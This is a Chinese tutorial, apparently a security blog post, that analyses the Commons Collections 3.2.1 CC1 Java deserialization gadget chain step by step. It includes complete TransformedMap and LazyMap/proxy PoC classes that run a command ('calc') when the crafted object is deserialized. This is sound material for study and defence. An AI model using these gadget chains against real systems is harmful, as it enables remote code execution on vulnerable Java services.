环境搭建 JDK:<8u71
本白用的是8u65
1 2 3 4 5 6 7 8 9 10 <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2 .1 </version> </dependency> </dependencies>
代码审计 入口点是一个Transformer接口,里面只有一个transform的对象
该接口的实现类
该接口的重要实现类有:ConstantTransformer
、invokerTransformer
、ChainedTransformer,TransformedMap
其中我们来看一下ConstantTransformer
类
常量转换,转换的逻辑也非常的简单:传入对象不会经过任何改变直接返回。例如传入Runtime.class
,进行转换返回的依旧是Runtime.class
这里的iConstant是在构造函数时传入的一个对象
但是无论是调用transform方法还是getConstant方法,他们的返回值都是iConstant
所以该类的作用就是包装任意一个对象,在执行回调时返回该对象
再来看下InvokerTransformer
的源码,这也是该漏洞的关键类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 private InvokerTransformer (String methodName) { super (); iMethodName = methodName; iParamTypes = null ; iArgs = null ; } public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex); } }
其中在实例化InvokerTransformer时,有三个参数
1、需要执行的方法名
2、该函数的参数列表参数类型
3、该函数的参数列表
实例化后,紧借着调用了transform方法,也就是执行了input对象的iMethodName方法
到这里我们可以根据InvokerTransformer
的参数来写一个本地rce
1 2 3 public static void main (String[] args) { Runtime r = Runtime.getRuntime(); new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }).transform(r);
到这里,我们先整理一下思路,看我们下一步需要找什么
对于反序列化,我们肯定要找到一个readObject来读取InputStream流的对象,而最后的恶意代码执行也有了上面的InvokerTransformer
类可以实现,所以下一步我们就需要找到一个调用transform方法的类
跟进我们写的本地执行中transform方法,并查询调用该方法的所有类
TransfomedMap 其中在TransformedMap
类中有3处调用
接受的对象时map,但是传出的键名和键值,也就是key和value是经过修饰的
其中这里的静态方法会返回经过TransformedMap方法处理的对象,键名和键值
而其中关于键值value的transform
我们跟进会发现到了TransformedMap的父类,也就是AbstractInputCheckedMapDecorator
这里的setValue是对MapEntry的方法重写,其中会调用checkSetValue,从而触发valueTransformer.transform
poc:
1 2 3 4 5 6 7 8 9 10 11 12 public static void main (String[] args) { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }); HashMap<Object, Object> map = new HashMap <>(); map.put("key" ,"value" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null , invokerTransformer); for (Map.Entry entry:transformedMap.entrySet()){ entry.setValue(r); } }
所以我们可以for循环MapEntry中map对象,再去调用value的transform方法
从我们写的poc来看
setValue方法会调用到TransformedMap的父类中的setValue
进而调用checkSetValue从而触发valueTransformer.transform(value)
而这里的操作相当于
1 2 Runtime r = Runtime.getRuntime();invokerTransformer.transform(r)
也就达到了命令执行的目的
当然我们也可以通过另一个实现类完成命令执行的操作
****ChainedTransformer
****类封装了Transformer
的链式调用,我们只需要传入一个Transformer
数组,ChainedTransformer
就会依次调用每一个Transformer
的transform
方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public ChainedTransformer (Transformer[] transformers) { super (); iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
第⼀个是ConstantTransformer,直接返回当前环境的Runtime对象;第二个是InvokerTransformer,执⾏Runtime对象的exec⽅法
手工put触发回调
poc:
1 2 3 4 5 6 7 8 9 public static void main (String[] args) { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.getRuntime()), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" })}; Transformer transformerChain = new ChainedTransformer (transformers); Map map = new HashMap (); Map outerMap = TransformedMap.decorate(map, null , transformerChain); outerMap.put("key" , "value" ); }
至此,我们的链子
虽然调用的实现类是不同的,但是大致的步骤都是差不多的
都是通过对Map对象的value值进行操作,将调用InvokerTransformer
的对象存入Map→Value
并调用TransformedMap.decorate这一静态方法,使其触发valueTransformer.transform
方法,实际上也就是触发invokerTransformer.transform
从而达到命令执行的目的
当然,上面的两个EXP还不算真正的链子,应该将Map对象变成一个序列化流
既然是反序列化,触发的点就是readObject,我们还需要找到一个存在类似的写入操作
接着开始找哪里调用了setValue方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } }
注意到这里存在Map.Entry的遍历和调用setValue,大致是符合我们上面写的第一个EXP
再来看一下构造函数
这里就有两个问题了
1、Runtime.getRuntime()
没有实现java.io.Serializable
接口,不能序列化
2、想要调用setValue需要经过两个if判断,否则不能调用
这里的Map是我们可控的,也就是可以调用invokerTransformer.transform
并且这里的class关键字前没有public,不能直接调用,这里就需要反射获取
1 2 3 4 5 6 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandler.setAccessible(true ); Object o = annotationInvocationHandler.newInstance(Override.class,transformedMap); serialize(o); unserialize("ser.bin" );
同时这里的Runtime部分就不能用java.lang.Runtime了,而是java.lang.Class并写在ChainedTransformer
数组内
1 2 3 4 5 6 7 8 9 10 11 12 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Class.forName("java.lang.Runtime" )), new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,new Class []{}}), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,new Object []{}}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) };
接着就是第二个问题
我们先在第一个if打上断点调试看下
这里判定为null,肯定无法进入if
考虑到我们之前调用的无参方法中注解类存在value的参数
所以这里将map对象的key修改为value并将焦勇的无参方法换成Target
所以最终的poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.util.HashMap;import java.util.Map;public class cc1 { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Class.forName("java.lang.Runtime" )), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class []{}}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object []{}}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap <>(); map.put("value" , "ki10" ); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null , chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationhdConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhdConstructor.setAccessible(true ); Object o = annotationInvocationhdConstructor.newInstance(Target.class, transformedMap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
至此TransformedMap
这条链子就走完了
但是通过ysoseiral源码发现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections
该链调用的并不是TransformedMap
而是LazyMap
相较于TransformedMap
,LazyMap
也要更复杂一点
这次的链子,我们反着来学习
从源码中不难发现,在AnnotationInvocationHandler.readObject()
方法下没有直接调用Map的get方法而是使用了动态代理
我们首先来看一下LazyMap中的get方法
其中containsKey是布尔型的
也就是说当containsKey不存在时,就会去调用factory.transform(key)
并将其作业返回值
但对于sun.reflect.annotation.AnnotationInvocationHandler
这个类来说,实际上这个类是继承了InvocationHandler
的。也就是说,可以将这个对象动态代理,在readObject的时候,调用方法就可以进入AnnotationInvocationHandler
的invoke方法,从而调用LazyMap中的get(key)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class cc1 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Class.forName("java.lang.Runtime" )), new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) } ; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap,chainedTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class); cons.setAccessible(true ); InvocationHandler handler = (InvocationHandler)cons.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class []{Map.class}, handler ); Object o = cons.newInstance(Retention.class, proxyMap); byte [] bytes = serialize(o); unserialize(bytes); } public static void unserialize (byte [] bytes) throws Exception{ try (ByteArrayInputStream bain = new ByteArrayInputStream (bytes); ObjectInputStream oin = new ObjectInputStream (bain)){ oin.readObject(); } } public static byte [] serialize(Object o) throws Exception{ try (ByteArrayOutputStream baout = new ByteArrayOutputStream (); ObjectOutputStream oout = new ObjectOutputStream (baout)){ oout.writeObject(o); return baout.toByteArray(); } } }
最后 poc适用的版本应该是<8u71